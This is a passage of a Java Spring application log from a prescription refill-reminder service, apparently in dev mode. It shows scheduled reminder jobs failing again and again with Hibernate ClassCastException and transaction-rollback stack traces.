org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 14:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 14:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 14:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 14:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 14:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 14:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 14:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 14:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 14:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 14:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 14:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 14:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 14:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 14:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 14:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 14:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 14:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 14:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 14:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 14:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 14:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 14:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 14:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 14:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 14:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 14:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 14:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 14:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 14:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 14:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 14:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 14:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 14:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 14:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 14:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at 